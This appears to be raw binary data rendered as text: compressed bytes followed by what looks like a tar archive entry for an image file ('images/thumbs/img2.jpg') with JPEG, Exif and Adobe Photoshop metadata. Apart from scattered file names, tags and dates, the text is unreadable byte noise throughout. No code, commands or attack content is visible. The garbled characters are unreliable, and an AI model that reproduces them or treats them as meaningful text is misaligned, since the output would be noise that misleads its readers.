պ�g�~G_gCkB�b��ݹ�ƫl�Qt�]�xk�൜�}0A�AA��',�
늕EZ`EA�Td�|_x���[F�;[�eUl��blk>�9dT^��e�����Um��}֝A]��o�k��
�M�[ql�ףKiE�۷f�k֜v�%:ϰn�jE���?�+�3{��nJ�؞9�̭S\ݖD��m�.�����&��}�֕kܹ�Z�-���N�nkS���4-Z�{�j+
�[rU�?�|�AAe?x�}�Yh����)0Pb�a��"l+^w5�]�̧�d���L�{,j�߶�>+KR�I��m�_ڻf��]�n��z杓E����cv�kE��h��_�rD�h򧵚��߭��G*u�T��Ӱ.��n�^C�tt���u�	Ņ��6�%���t���b�d�#Sg�r�R�Gx�kV��o	]xf�j������厂 � �	W`�,�쭅t��.�+e����ڦ�Lvî�jwu�u-ֶ�S;��]����@�G)��WuMZ6՗͝���(Z�s�g��5Ν���~�m*Ś�=�!���:�����S��7��T쵵5L���em�rlS��~N��\���QX�
����Z�$Xվ��{oZޝ�,:*m[\���իX�f�uзZֲ��S/��x|��: � �'j��bwkT��UEG���X���⫘y��eV������mF���WKצ͍���wu�˽�Q�����8��9�WC��:�w����qk�~[��/�ñ�#���7�1)ٲ�V�kr�*��0�Z��U|�,�*�c��v-[B��kS������YN۠��oRv����?���uA�AA����KN�L[L�-2�&���Q�%�/��2r[5
yO1��S͍�}U�?�?���m�����*�������>���3C��ӧŧ����~�N-���jvҩ<������
��( �e�j�׾� �.2u���]�K��ɼ�F�J]vM�UqT��kq�h �ו֌��i�|b����� ��e_m~���G���)�Q޳������{[?1��6�2젳Nݧ��{8�l�]P_e������ײ���&�n�l���ߛ��4jv�8<�'�[���[;Z����L��@��q�[�%���"�7�UE��C�O���@;��)Ѱ�M�'�>/˦�[��#�R�
1�T���#�A`��'�4��!^�YYH;��v
9�n�eDz}O��;��5�9`I�`w5��tq��~���ܣN纋�W.��s����f�����<�+ڍڜ��2��4�;�O@2|q+�e+�-�ćo6��r&p3��aRUk	��7�;���g�sZИS�#�� � �"�/��J���Z+�xn�j�f���ޝ�^B���͆��C�V��[]����R%���K��n��׿U�:�ذ��"�^V����}��C�]���)Mzw<6�F��W��u�����k�.����A�,C�`@L*X���cX�Rٗ/|w'�Ut�� 6[ʪի�׳\�NV��'��x�C��AA����7eX��ea{A{E��Co6~J����j��)�;��O+Ǥ�u���մ�i����/�٧C�С���:�]�:��[�S�q�n<���I��1tu�4*���=����U}�G�R�Z((��|k����S��`�{C��v���k��k�z�,���?�����AA�AJ>�e�z�FU�\/�%�-�3�����-�ײ?Z���`*�`m][/ƭ�6�����߫U�4�i�����ԥ��(5����%D����8���Y=�ۼ�, ����XJ� S��ˬ&"��
�\t>�2�+�-��*�|�=���C�t@`� �U���s���S�ݪr�&n�`�٘|����\Ԍ��i�{{|%�\�O����g��&�K����⇎�3�7w���4{U��D��PH��.?a�5��v�g�V���Bؖ��;=u�5�0���R���\1���G�|>!�: � ������i���+�r�Ԧ6��'�Q�Z���.K��(�D�xip�#l~5���%�]�k�lm!�^&���;<�1��R�_?���
����3��	Zfx���c�R�"�eu�3wv�x������?��F�={�eVְ��H\��|��AA=*V*Wf�6m�������o����7����k=����e#
����<�~����k��^���܊�f��<}�kp�Un'swk��(�n�+�<x�@SU���ⶌ���%x���Z���mG�Ǟ�d�_�w�P噽�z��cُ@�ѡ��H�
��"�^>�� ��� � ������4W��f����͗�3f���Wl���WjԔ��'�`M}r}����ګ���]MJO�~��q�0�P�����b�:���8�2�+h��,���~����2�����Տf=us��C��VW`�I�3�O��Dtt �	i��,�
ce�X0���
��f"7��͒u�$�P�6m�����������?��~���*on����	��kl-����O�u��u���Z�;3+)<[��<��.��+��C1� �9����'!��k9>�j�d�_$A�L�_��}�b����U�_�p�\A��ה٭%�c�u�]�U�_y	��c�-�n��,ޣ_�ѥ��o���Q����徘N8�h1�nћ��9���I�f�]z�	a3��c����ާ�C�Q�6[���A��-z�7	�����v.v��6��6�g�u���#D�cL�שO�ۅ�ٮ�y��p�<��ja��O�4V�~BK.FJ]U�ʌ���u��
��������nF�f��80v���)k�*�/�`��a��{���Pi�7���A�tAE��b�հl��0>���LA��
]�ChC�������}�t�1�%tַ����{��*�	�Q��3��ۮ�^�'Ku%�lM��Q��2�Q���PTIԁ��`�Uf,k\'�@:c�� �H~��+����A����`0�xt�X,8͌��Ң�4i�e06�������f{6Oj�<\N�33�?	�z���gj뙜�{wx�����b�.p�B"���N&{1�����+���1�u��`0���`0��`043O(,a��6m��g��s����q��O�i밷��������H�^!�饥��.p��K;��'� 0�c~2
�jp}����g�0��`30��`04��`h��������|�Dd��L�u����y]�3�(�޳eW�w��i�ݣA�s���Xݮ,���'�ff3���`330���4��h��h<��
33Nx����s<���0�ai�� ��ܟL���A���⦒�X�m�?K������f���`04
@�
@�4
O(yO(s��5?M�yf�a04�30�hsh����~*�,kP�=�$�~��̬��g��?�fff333���`0��h@�4
@�4
33Np���a��cF��
	�~�;&1��Bc����(��S�������`mfز
sJ::�� � � �:�:����z��a����h�?
ʽ'�����>�z���?��^�W��+�J+�gC]�&��O݇ua��/�l���g X�?R��[�{���(�g���([:�"0��e�E�.�N
|o���t�v�]c�mK�(�w@��&#�FYfP���Ybp��>�JG��l�f��U�^���.�Wq��,S ���D�K̡"0�L\T���bld+Q���u{&��,D]]�A�v(ź�<Z��F�:GXdu#MeӅ�^ț畳���]��v~����=���C���"7a��)�,�Od���eyc�؋�0O��S�Qm.$��p�ў�#{Qy��6m�t&"������p�	��p����X�	҈����E��XRaLW����r^ʯ�D�I�
�S��O�)(v�s&�tt@lhLF̾4�Zq&:-ak������:w�O/*�
B���HG./)D\1@�3��H�̖�0���Ҏ"��t&6Fm��l�&�Q7=�e�U7Zc֜Lb%��z���5X���7Q��[��D3҈ȇ̕αʳ���I�OQ���2�0z���x���@]�M��/% X�Y�GLd#�U$�ڟ¾�iyӂ%�$]r��txl�°²�Ҁ����Sڀ�.�ATBD6��ʑ�d�v&@y�{��PM�RQ<I�S�Q͔�w��D*i���E��.�ޒ$o3'%�/-	���L=�E�=ʛ�z�#���O�@H6./�A8�l���]� �쩢ˍ��'	�^k2�xu,#e��V�}v(�oo�,b��-\Q�H���c�<Q��є6���<>h&|M�|�X;,d�.	�4N{���5������>d8�&v�x��<YsG��&�k�嚓�6���\���Y��@
7�܀�)�:���W������Ö������m�:d�n����n�̮�L���'2�0{���CY�"J4��Q5֊�\l�������z�������?4їTp�)DW�j]����nC)f��F\9���xU��5̱�1�ַ̨UAMTk��a�j�^�H@~�P�ϡ\-*�zЮF�
�s���
C�ľ.�uE�������e���8�vنA�[;q�����E�ޏI:��_��?��T����D**�ZJb�֜~�`��QT������]>��c&ԋ>�z��:�:O�&eB�I��[R�T
�����"8�j}��W���!lt��NҨO����j�Gk��0@�6ި	W�9�D~�RNٽJ��}2^ߖ�JqD��S0���_�@x��v�3&Q^�AUPp�*�5�/n�Ɉu��d��d"D��o�����U42=Kj�1�<�U�p�	y_�:�L4+ت�N���-ſ)���$u�)�SŻ��ɉ�>)":�Q��2���(�YtCc�U�v���TYK*ȗ��1oR�Db�&�[R>�ƥP2
~����3^ퟩ)��G���J�;,nCu.�m-���Ԡw��������D���f�Џ!�{S�;{�K�0�vUMj2$�)�t��D�i8׉��Lo�E��7�
�N
���V�TG�eo�I�P�$# �$ȢM؏�aO���X(�S#�E%�/4Ԡi]�My
lKq��N�/",�ʰ�e���yU8���"�
˵���Č@
�VM�X��p��[]b��3�x���ԉ:P�i���>��G8Z�� 6��P�j�$n����x�b�Su�&�A�H_�e_�f��b����E4�;�!�����>��Gb�"�Ɛu�|)���a⟁a!�T���*2̞�dNHk"?�Ô6��9*��\��p�3���[j'n?R���>�,d�@?|(}��>]�1%�
�-�Q���Q=H�����P.�ԏ�1�q#��P�K����p�8��`c;�%	�HX�{QA�
�L�Ծ�6c�S�ܚ5�It�w �_�&X|��d<�P��!<~�G��9yfA�(��RޑBF;2ŠS�b����� &�]�HM���1b���b�jBda�?�}���?�5)Ő�aډ�״�^Y�)q'Z'GԌ�q/�OwT|�LU}���"#����̲��R�R�y�@���!�92�=��<I�×�de�RQ³u2����(��d�cz;+kx^�4��L"ٍ��7��r�IUQPo!J���U;.�̩B�h��ߚ�&np���r���cad2��Ue�Z����fG�p���/��v|�	�]/	�,v�QY�Z���C�+(E�J�c!��e)�0TƄ��Bd��ª�n�t-+J��L
eJ���,P"@�{�8?Ly�/�P���/ӗ�sA���G�y�G0a��<^�������F��E!�ED
��Tu˒��nFGJn�������^0u�}�{Z�2<?���#V��ŧGi(�9yp�F1��Lv��C�;/̰�0�O������s!	`����d���r>ո=�~�c銏��k��Ӟ�*Q]����^�T�YC���A��T�?�N/��s4%�1��_�?"�
�:�ևdJ���j
:���r~.�O�ޛCE��0U��:��ᤚ�2�W�⧘F�Yˏ�_qN����H�������?6^�kv^��L���J'���%�
d|�D�* UH�9G�e���DY�Tc|�����ހԀ�+��}��l})��BN��*��%I~(Đ�Ү~府�Ն;�/*�QF!�0�T�X��D/L"�H��'ݲ>����:
*N^�YkWb�
��iW�b�нRCښ��q����s���Е�S̹N4'�G_@q�Wd��gI���u�G��?���<�q-�S�&���">�#E�0��.���_�?2�'rӆ�\;��}����k�\~�N7f�<��
v�҇�>�FQ�$7��.�-���iܳ���F�����/K��P>��@_�*ēϏ(�o:��I�4�f7��S�e�V,K
QLn8���0��N���:Ps
�)]a��R��7��֕��t�~��%��k���Q��`��/�7���V�K�0^�?zq]n�~�#��k�G���BIU�B��%�bOP1��|���皖����ߋ�-c1�@��:���LH��Tb�M;���@p5���t�ɘ�=3�/��Z��ժ�K�'6o}�j?��'�B�j�O�o�1��O��b+���r��k��}P[�Kw~�j�ћ�F�@*J�5��+
�b@eN\H�56��,RWP�n\j����k���:�iP��n	n�	v�yr��Q��WLk��!@™
3_%��m�ޟ�e۞��
�;i�\��.W���A܎~�yH�I�����
�}��o
'cT�iJVTAg��J�G�)�8�>��Rz�*�1���VɆ\�T�I��4TvS4Dz5�u�TZ1�~rq��#��lkNƆ�8���E_p-�Al.Er��u5�s�q��i.�ڦ��Љ;�ߗ�(+J�ӫ݀H��ZW
�7��Ί�}��l�7��?*���ݖ��i+���O����߽lۨB1��.�nֿ�K,37���I�Z�|弗;�\?t�VW}L'{��;JQ�~Q��r����0�ۏ��Fx{���쟢�4���qG0�̙�?���J��1cM�rw1���}g�M�A&�����eĻ�-�W1C�1[|Z��br4�,l�uT`7/fh�tg��}�'^�P�
��?2�/0:�ݘ���GޜGK���i�i��E^�ɽ�>���A��^|3�VI�׹F
�n\N�~$���Ϗ�.�"�jj�徛�8�\_d5,3�f�$������'��P
�i�v\���ǻsJ�b���j|��|�s���[� �.aV��x��@j(r`j��{^	F�MI�O�,�m��S��hDPg4��~�I�B�J� o�(�'vu�pi@(+)��)9�ET:�$('�0^7���PH$v���j�����k��?ԗVޠUA�	>ۿ��KusVr�a�g��J��
G�7�h�lT:�hhe���-���i��ٖ���al.�z���A���ط<a�x�b��*[���Gu���J���U�T욭q
�g	+�l?2�?�ێ(z��X�\����t<@�vCq�B�&���/���A>�F�R�<��#����
.t���Z����ŀ�=�D���]&��p���ք�0��GP�d
�U;��[�ʂK�@���	W	��Q@�Z��q���R�<?y���}���-s����Y�v��jZ�a�s���6�ET\=���n;7I'�ő�h�urxú���u�z�x�;����@g4]R��0?j.�j	��~�Æ��Z��+Z�_C�<��<�Ff٘Fyʽ	�L#gF]�j���;9
�49Rk�Q�+���]Ĉ�ƽBh�
�"�5han�T*Q����A3w� ~�vTs�X���9�����&bL�צĄ0n�r!��z�N����1�[�y�x��:�~��U��b���O��t�Ԫ�"\B�Z�`\��=1��j���;�U#:�8�N�DTÍ`�6�DTt��dq���
bk��X�m]���56����#KV�•��.��>��f���8���cɗ.$L�0Y���ad-����v�\D
�%���Rl�MeۨN�j�A�!;�9��H�3Ɩ�A���&<�Wgp�
ۜ��>Xo�š�U��0�24��˛€����^c^=8tKͲ�=C��I�A� �U����6�k�J�P{�k�m��t0r>�	��� &���r�grTj
�@n���(J�J�BNG��]m�}<�N'�LxG9q�Q�	i���
~)�f�3�D^�_�1s�0�LI3�I�Oϲ���o�Z�HG�ط�N�o���Vޕ�5�U�Ҹ�F���P�tk7Kô0����X�I�Qn�88�Ot����Pͳ���S����݅�����O���!�����M�pՎq<;��p*I��
���1o7
����p��4m���O��M�E�|�':@XjE#P���T
v���e�w�K
���g@��65��"��]�(!O�i�{�9丮�u�v���p�,I�S�D��]&8���T`+2w����2�z����ɥ�;�U�.hI
���A5#i�Fҫ�
�x�&������0 ��^i�y��M(��v�p���gU0Pi�x�q,E�0CTk�hP��5�e�S�znz ӛ�tŏ\��ݧY������
6���,�dv��y+�qP���͉�iM��'|H	�O�To��<�a��썬X�ԍu�����Z�ش�P�tpl�.�������fvb P+Z�2�|��Q56g��i��ՎO�����L��6��t�i~�m�`�t�oVk�|�C����5z�#�$
rQ��IZ�M6���ɠ3U�-.�ٙ5�π�	!wW�cT;�MKƻǓls������LW*
��	�) ��~�2巪���Bu��a8K���Y@���›6J�n�R�hFt�(q��Q8�y���I�dvc[qFBAO�%�����Q�o�oܗ+��{H�'���^��J�nP=�I�LF���8�(��P�1���l�?��(�(0��Ӊ��f~�լ*��~)���m��Y�.wʻ���&m����SI��A�XP�[_+Lp�PV<�لV�BI�('��<P#�t>m2��<TcB9�
�� -�k��[���H`f<���W�"�L���X��f����EhG	��)���Z(~ښW���1-L7�?��bw)0
���P��q�wd+��4��1EPWR��.p�wWځU��q��~�J
�E�Rv���N��v"
�붘�+�m�����(�t�Zwv�U2�0:G�H9c4�^�Bz�<����;�P��-�eM
O<�<³f����&amGN3
/@�f$��v� �icQ��>�8gN�oH�5��T�ˌ
+��-�ō+�Q�M;�*��x/h����K���܀Nњ���.����1?��Cr�:hc
ď�\��b�ˍ�0�(h�&������N[��ekbi���B��[)oQ	Hʑ��g;z��G�/�=�(?�	����L*����}hkO�"��8M�A���Zg�(���5�9�a�����C��`�������LypS;&b@�3le�gjS�}iil��itٱ�ACP6g,��gf�)�^���
N�;�����q�iN�
�X����p�k�V���l7�Ḣ��#������m�cS#�_Ч��BWp'�}�	�K)!@�i�j��``OJ!:K��M�T�K��h�c݆$������?T�Pm����\5�DuU�W���H�'l���zec�UO�R��Yݷa�w�<��ݗ�§d�g
�&p��5fb�bI�d90 ���5
m�<��
P�fO�9�ľ����ʨ�;�i(3���o2�����f�Q�2�|T-E7�6��x��#I����=��y���T�K�Z�k�ӳ�e�7�Po$ˇ�Y��)4���!V�9�5������ǘL��{�t$��s�:�~�Ng�S`�h�r�F�O�M���9�lH��7D��P�Z	�q�9� �.�?/�["�|5�|��#V�_�br�ˎQY�㑂��a(38�1�K��r�:�	��c�T��g�"�*e�0�	>o�Pn_\nr�&���!>i٧Iq:<���c��'OT.ݍ��I�I��s̦@l��I�@��`Gȶ ��1U�<��5R�e<���2��p����������Z�eB]ZԌ*%@��>��7@H��T��*"&�j��7"��D; 
D�L38u�
F��()�8���:0����)��/�������|;���E���"�@�;�
p+���~
?��e�{�ߎ�[U��2�Y�ܒ�%T��Ls��l�峑�z�Q�
�'a�Wd�so��}q����a0��Ƃiq��y�G������x�X�v�,rCA��Jb1��TP��Z��J�`?�}�y�?/\�ì�
C�Ǯ=�Ψ,�MS�}��?sp;\<EXP�-M�H=�&��-_Z����e���	����T�|�6�_&>@��y�����*eL!S)��C��n2��s��Fxk�1��0�!��J�(��Cf�]|��U��M�1�y�DA����Xi��=��t�uqK�ۆ�jM1�_z*�)�6�+5mc�ݚ��%��Mj��]o���v�x%!�qk�kŦ���0�cq���JR�8j����E'3�af4U$�j�\�!q��4�D��	_L�M7M��-q�=�%F�J�=�������EQ��|�B1ܧȯ&�_�F'�i�9�.5�E`@�ڝ�ۄ�`ej�Ü�k��c�:�9��"7��4��0¸^ϻ��;�V5�n2	��=ߝ������)NL�Lk�vrsJJ�*v��M˃W�1>�E�D��h=�`��(�p��IE>�' va�*��nn%��%ط�k��bA@�h�Qu��S�j�4�cx�
�@�R���CW)]�8	색2렠
i�-&����e�/�������EB����bcXT�r��:r�E��3���p��`��J�0�ƙ|P�&��>���r�#��N�J���;��i�����ִ��ے]�����i��C�#�#5��t�	75(�
0�J���oyp��Ar�ajk,�(̒�����&�r�����{_rV{
�H�evD
�-�bgrT��h{^�p�#l'�~�ŗ��3ZPUK5q�#pq��4�R�h�9�Y��<�b)\�\�oW-f�Xt��~K��Z��������v\;�#�/������Ѝu��hŜ��Z�6�
�����.j�u=����Ì
H��G�������� �&S�.��r�Aus�D{��ZV���1�Ct��1<5#H�e>њm>�6�|��a��7n�I;�dof�P�B���է�jL���k�s�Y�>*{0��TS��G@�y�C�˃&���`)46G\�0�5��V���7��F�}QAj��b7.�(��H�k�H���H':e;�u>��Y��U�o��
�F ���\[���[��
T�ujUȜ�C�4?���>N��F�b����1\�m�L)lJ�'�[��X��ij��n��֏jѨ�iDP�Үy���Ӹ�ŭ;QI�+�ш�B��[�q�[�e�ye�[��1�]!�2�<�~)�x@�����7!�l��V 
�wV���3�A���j��rS`Ǫ�N\]3�3=Y��RML����g;��hG<L�4�ze�T�-��xM.<�q���6��B����f�9��'��l��������r�;6sL<���
.S�>�Հl9�R���`MWZ��`m�7���,��|�g{~�y�{������h�N��P�;il�6�ҍ�<�#V�^q;ZJ8��OiA�
#8-�7�!��W�G=�t���1�&�Z-ZC�|B�j��x�D�ز��k�ĺ�B��@S�-ꡮZ�g啴C�p+�7F�G7@�S�jlNJ�3]],
Es��Nuu�ɸjiS�2��O�aJCI�0����aOd��xR�y�6�AB�ЀGSN4�Ο��tv8+�K3C��e*y��(
��K_Ŧj�LM��m믷��q�
a��ԝ�.�a���
�W�����o�
�9�F�;���dm���~ȷ�
����
3��fb}驍�	�
[�(s�N�;�q֟��l<�S����#!�OjN�?��[�Z�����C�\A���k-�'������z.CYاg�a�MX��#U���Y���>��K��!���>�0x������/�o�U0	J�
��=���7]�
h�Pq^!�oee�l0�ǣ	qE�@-���2���NU�1�����Ų�&�����Г����({�eE����N�l��,ڋe�j�6^�lou���k42�̨y2�HaϾV�m��b<�x�p�R�i�Rԙ��(�L<��p@������m�'9��2�MwN����99,ر��jh3[}���[]���oy�q����w��':�m�7���J~�����Y���A�g�=�z�m�=��0ϐ�����@bv�����ѹ��G�뤩Ե��i�r�'I�Ys����x~�ʭG4��S.h/��)��8����� UP(�*N1E����-�j�b�n�'��4�lU�o���O�/�gـ;Q���{3��
]ت1>�A��t3fߊm�X���}���\Y��UƝ�F���e�����J55��Z����
�gl�{?j�2�Ԍ�.>�o�塷�_\��޹C�d���Ϙ�@�)Jn��
w��#yݿR8�.��$�-T�w$�椬Ң��o���/��E��A�2���g
���\v��}>� �Fs�m�/}�N�jՈ�%��E܆��ن��Y�C|���b�,/v�s�0;���8��8�g���	�p�/"���+�������0�f��a#>h-���S*���{�\�{KaTa�i�PV��YE�.��h>�����]aS_�Wbn��m���s'*�u�ػ��?۞-f��g��|
������6i�
�/�<%��6�c�W���?�s�#cVq�.�L�t��1�s�P{w����v��A�й��|�r��?�X_���K��˞���Y���>�{P"���+��	]G��Ta	(�?�V�)W$��-����-�ZL�Ͻ�n1�A��%��ҝ
6i<���N�;ۘ���G�W�f�����U��"��b��W� Gy�2+�Kչp��$���ۺv�wk���&�t�N4��5y���&'�S��;���LSAS�TJ�-��1^�FўP6×�
F�����4�47����T�EP�J��X;iI��
e�㏰��Rs�RwV��sn�9��i� �1�u��³�\R����_q�V:��a
��e�$��	xB�U!]�z����o�~����)hl7.�ig�M��3���s�
��m�#�c��<Y�d�L��	r��f�sh5�N#a�ԧ(B�s"#�
�f��<�
8��90��{f����[�%L:I�d���;�fl�қ�r��m&]F��B�9��=�َ�l)�[/Ձ-�(��������B[����LN&Ve��w�"�Γ
�(�4:��(ϧ�GD|;~�4��8i���Ҕ�n/��ky�[�q;:�{��9Q���R�a���\捑�a6[A>��J��;���F�9���Ej�-�1�lX�#:-\�X�3ݣ��0⹻�
2�#��i$�9h.
��AM�k�v>`�<' ��q㝽�zt/�KL�zʏܞ{���Y��[ԋ���K-����`u�%�=��#��7kg&9�١���W�@5�E����`q���.�ٜ��ĘK3e��[V�@wg�[���V�B5�Z�T&���?^Q��A��3E�Ϝ��8j=R�jw�4�UF��9>�N�O�*�M�g�l�!f4z'��ݭj��Tp����WM�|����(mcsc8��b�
�v����Ft�|*'6$W�����v9��� v�R��G�ɽ�'p��F�o���Ng����60��Jf&��9�v��u�Ʋ�������l�[Z���A4�g���.�S��	k���Yn�鯭�x������5O��<�����(*LU��ԟ'A��U�̢�¯�=r��L3�����j7e�UR:6��&��q�l{\>��Ia�P�jGA��w0�	C���a�V������_�sW��<��0Js�c�e`�P��[���'�k�����V��uE������6[�l�%���F�p(r�x��{Im���3U��㙉�0�J�]��ٟ���)�b𰄣�𧶧��{/�b�w�.ci��w�\7M@PJuE�7�ǭ�#|�V�s(���n�?��.�uW�4K�*��_ᖾBz��u��3��c�+H�`V�-���V>@�s�h�9�~ه)E=��NG��W6���\f{�3\�\�୷5W\���(�Mzf��{��5�K#d����7N�ז����Bw�:���w!�9��<#�*�B᪎~ߒ)�<���F�RE*��|:�w~%��bD�-i�(1�M��{qJ7v��[���y�*�����߁�.)�m�����p�az�7�C�g6�݌_�U�7Zx��H��n1�A�Q������Ow�Is�������nTq'�;� �Bw[s�y3�p���Fr�Bj8�ְ�c(&���j�'l�f�iuqm�2Ѯ�5��ޔr�v��L1�CQ͈����tӪ(�I�؃B�Q�Z�ְ�@�̽�1�W���޺h�mc��G�4ݶ;(%��gݓR���O���;}�>�Ł<G�_��o�H?̳����=۶@��Olh���o�_��qF��.�f�P��Z�R�4P(�;m�(�"�4�]zs:�&�q��n�WS1qJ��_ފ��Z�V@+�HҺnj��Kۏz�:oW^�J��ԫ�<�d��t��EV��K�ݲ��KjQ]-kO���ǻM!������y}S�.��W=\���ד	A�4��ɻ�-y�4�&#�f%������k�;l
	�f?�`�"�|�1�oSL~C5xk���&��r{�s��u��>��R�
2%ꝕꝕ�!T�j6�I���ß�*�
t��KRS���qx�f�>3H/x�-�/�ʾ�"ҵ��Z��X.R�����'��1��:�N�����F�M8O��x?ol���
�w.-��*��?�7��^"�=�vLA��I�.
���ϝ��ϸeG�_:����V�x�^�����c�iʂ�)5���:o��~���/�L��I�3Ò�nl�\�D4�����0ǞCK+�q����R��&��Q�s�2�G{�v��N�O�����C�Tzcy^G��[R�P�5f����
�7�J���Ӥ�
��rML����̨�7We]#F=�,�k�tR�Ӵ����O��j�]��˚���.��k��b�+�i�0��}ז|#��qK#\�� ���`�*��fb�Bꮚg�x���Z�α�V�X�z
'w{�"\�,�
�[%ױ��t�ʅ`h>inš5�
	�Tx�PiMT�������Cj8�e���*��
�X����z��,�e��"Ty5�������Z��4[�����,Ҙ(sm�\p���w+�{�:Ws�N��c~E������}�O]a��C�l����m�1�딭9�2CF�r�y�����:<Rf����ճ�l�.2���K��v��
�5}X�����{��\-���O������Fa��5B�Y�$�	�O�A�Y��x~f�P&1��g�>��c�3Oۭ�D��A��'�0��PaI��4�>Myk(9k�Wh�yU�cD�pA05�ռ6�`U�W)��\���3^�1�G�
�+s��4��`�e0�����i)�&��˓�9�w����䗼=�m��p;�Y�7h[B��čv��}�[�S��[����;1����x$��?i�+lEsԭ-z��3�>�q�s�9�Wv�z!�U�R��7���g�o�G[O��ǦT��)��3���Ɵ��|�J~���W<d�dmOi�@���4��,wN�٭)�y&��m��3B9�Q�*a�#�F�U�ӧ�8�`�O�	$עS\f&��9݆L2�<��� i���T4ē�O
V�;�L�V�۸4�Z�[���%�j�Y�ݰ��)p���R���<6�w�RT�ջD�sW"�=�cšVf^�v�l�>�rZ_z���(�Z�c�.[T������C���zA�-����`�Ps�g�<�=>ENfee|�|�w�a3���Ǵ`�r�ml�=��
z�������ޯ�@�&�o��i*O#�@�^@���"X�x/R���³Y���יU����H
nӇ�MYk'�x���`?T���̫���	�,^�e�{��<Kn�ޒ���Pf^�2�F&�W�7�7sl�fpx�'�Rp�C�.N^���x[w{b��\Mk+<_9�=<������k)��/
���e��.ݑ�<���?W�����§d�X��Ѝ���`�\��J�G����+�w	�h�y�՞"�=����B��pY4����?D��f>q��l{w��J�`�a��/Vχwb��z�b��7���)FliM���y<-?�o�<Y#��:�c��79��Oj�:��7�c�&P`f���i�e6�Ff�	]���3���� ;�G�C�<�[\����#W|3���o@�v
&*G�c��U>�C����w��@�^J
j�W�B/KA��h���<.���"�Kz���(��~�E��Ib�[@3;��_��]��5��p��79���f�O��O'�����)���<?;9��n��Q蔚Wn٨��N켼&�c���W�p�*���(z� �7&`�y�l��z@���**6�G��z*&>���\C���?��Ҡ����J�����R��b~1��%�PH#G4ǎ�Ou�,�W��#�nР�զ�k�����n-�� �
N��KR�
*�;"�k1C�4�#��@E'o�<8SZ�_MJ�h����������[B���Í��Űx��Ն��7=�y1�G�L�P�g5�c#�;fcC���4���&(à�v�y�i�!��!\�y���a0�Ǡ�1���8ԏ1����L�]&�s��*���u@恼kiA�v�����ڴ�EFBR�	�S��Y���2#�3a�\��-d�c���P���'��*�޼��T�
��J��[~�.'�-h����^�4���lܩ]���Les_�S�����Z�Ɗǜ	N�/:�ݜ&�
լ��lGơ��R�o*�Oh���JwtƓ&#�L.8�:�<‡��ɘ������T���)y��^}EEeyArI���a��uϣȧ-R�g5)�nG�v�ν"b�|�c�ݶ�j�O4'�S��<K'̟�(�.�騟�v��8��z�V��l?U}S��/J�����^=߅��˛��o�n�~��n���nZ�<�e�(G�+\~��!�;�y0b:	�7�}c?�Ǧ��(��A?3��o�H��E�)ٴ�W��-?MS���+�2�3�d|�a:y)�*~��%)֝���1�a~q�ߦ��太`�T�¬(G�A+�w�H>?�A�֨9#�@�qZdv�Q�2�G�p�?�v����6yG�����images/thumbs/img2.jpg000066600000110432151150443020010653 0ustar00���+ExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 21:32:36�0231�������rz(��HH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�0�S�!�ԥ����O)) )nP��.�I)�~D9JRRIJP�B����.�_rD��Ӫ�ꖪg)�(�iKU2ܔ�JR��Lp��M))��Ĩ���T����N
�)�5)O(`����J[�%<��r��W[w����I?�Əsܘ�\a�����=G���U�$�{�6]���1@̎�9�c���ܳd�e�h�p��w���Ѡ~ح���PXg�� O�׽�r���u嵱��g��?H����l�m*�sUl����5����]�k��lr�
{m��s2���:�b�[�+��L���\�5�K�^�r�Xi���v�� ��������s�p��[k�շk�6��6�{��Z�,l��<���9���ǽ������}�̮�zF]U���nh0�D9��^ҞV^h��i��`
�$7Rݵ��ߤZ[�ṇ�xUr��>
��A�̼�*2�TL̥1*2�QS"S�JbR�O���N
�)���!$�5'�7y�d5�������+��b��藶��:�}>�@k-{K��w��챾��s��e!�@�vԽV�m,Ȫƾ�_���?����ob�����#B
�L��}��_Rʋ�V �ŧѯ43󶵎��OMv]!�U�f�9��-.��W���'��ǵ����"�](p�ov=Z�Y�G�]\cv��1��k.Ɠ���w��[��w��1^�R��㵕7̂uڲ,&�$ F����Ꮣ��rKΙ�cۗ�U,!���\@44:ͬ��kX��ѯ���d���j�冲v�c���rg�ge�����G�KO�3r��阸�3ʘ*���_@�����7��3e��ٍ�n?�+YK�����̸D����ݏ��r+������׸�����ڧ����f[����8�/����w��c[��Kܴ3qXο�x'nC�Z@��\���b�������w�:����i{�\2��	W��pN��(a$ꐿ���I����lv�8{� :7cv��=kt���8���4��r��?@u����V�OynF=��X��h�Ø��s��o,H�|�б���X$����,/hn[�1��p���g�j�,��G������.m���qd>��~�����X�~OQ�*������d2����ӌ��Ͷ۩�?��YS��*#M�ٌ8��)��1+��ǎ��?No������ݫ�SC�nǧ��j}vY�����'P8O���D��Ħ%?���N
�N
	q��Y�p�}}g�\�2z]��m>���[VEwU���c��H����E�3��a�uFc��S^ܣHs�^X��)5���k��Zv�]��E�uW1�X�e�i���.c��,oGάd�AmaĖ=�?�Rm.�n��;���C���.��U-ƺ�ݴ����1���s�m�{���o��A�]�:�l��x���-!�ٴo�\]=jK2��U���8��ӽ�$ՙQ|9��-�c=���M�����?H���+�b���F���`y-n���s\�+e��[��t��n��[=Z�nnMguWy�X��YNi� �������GS��L��n�5��A,aw���z����h6t:^\[k��412�D�������@Һ�9�^R��5����da�1�W^,m�Z^~���5��M�Wr.�r�$�)���]���W��/����C�;�����l�I�/�.nͭ���O��8�t�#����$��x�V#�]LZ_�YS�����bۼ:C�0�O��|�k1GTȽ��d�̡�x%۟��o�X�����Kk�A��������
����jh�29�c�OL��>�O�<G�Dc>�C[�<�O�Y!��!��K��\�tʿJo��\os�yh|�����3��ݦ���5:CA�`����^��ձ�v-�S��d�T\�6o����z��Ro��$����S���d��a�>�;"�t���-�ǿ;*��)�~�(�9����]��~�����sC�[�V�[}����״�Ӷݟ�;?�-l:_H{`���K��^��e�.k>�_����b'���sC1)q~痴�ﳷ�ڷ9�}o�?US�lj�Q�����:
�Z�=<�lp��u��]e^��W:
��#����? }�2�Is�Ka���G��8��}����o�|���t�+[k�$Ta����mkK�S�[][�\���2~hF6<Rek�JD�%=k���%<��	�f
�����1��wV��&;���� ��h[��n5���6�2Clh�Ҫ�t�
�?���~[7��I�S�7m��};?�����W��%�<�Ӻ���r����x�;����)����>��?��dj��;/�n�X�Bϫ���2E:���c��5�[��k=Z��5���͌�y.G�Vv�f�\�
